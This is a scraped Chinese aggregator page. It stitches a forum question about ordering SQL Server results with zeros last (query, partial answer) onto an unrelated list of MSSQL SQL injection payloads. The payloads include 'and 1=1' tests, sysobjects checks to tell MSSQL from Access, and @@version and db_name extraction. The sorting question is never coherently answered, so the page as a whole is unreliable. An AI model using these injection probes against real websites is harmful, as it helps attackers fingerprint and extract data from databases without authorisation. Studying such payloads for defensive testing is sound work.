mssql 判断 排序
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mssql 判断 排序相关的知识,希望对你有一定的参考价值。
形式是 0,0,1,2,3,4 这个样子的,有n个0 和m个其它整数。现在要得到 类似 1,2,3,4,0,0 这样的形式。就是其它整数是从小到大,0在最后面。有法子么?
这个sql语句取自3个表。而且order by也不只一个。
就是有的折扣是0,要将是0的放在最后面。前面的 从小到大。
union的试了一下没有达到效果。join 的要是3个表的话,我不会饿。
原来的语句是这样的:select b.brand_name,i.* from web_special_info i,web_goods g,web_brand b where i.audit=1 and i.special_id=11 and i.good_id=g.goods_id and g.brand_id=b.brand_id
然后union all 为0的。
如果要加“,”号的话,就用replace和substring应该可以。 参考技术A Select TA.* From A.dbo.products TA
join B.dbo.price TB
On TA.P_Pid = TB.Pid
Order By TB.Pri
注入--mssql(sqlserver)
mssql端口号:1433
判断是否又注入:
and 1=1
and 1=2
判断是否为mssql
and user>0
判断数据库库系统
and(select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects) >0 access
判断数据库版本
and 1=(select @@version)
判断数据库名
and 1=(select db_name)
总结https://blog.51cto.com/saturn/197354
以上是关于mssql 判断 排序的主要内容,如果未能解决你的问题,请参考以下文章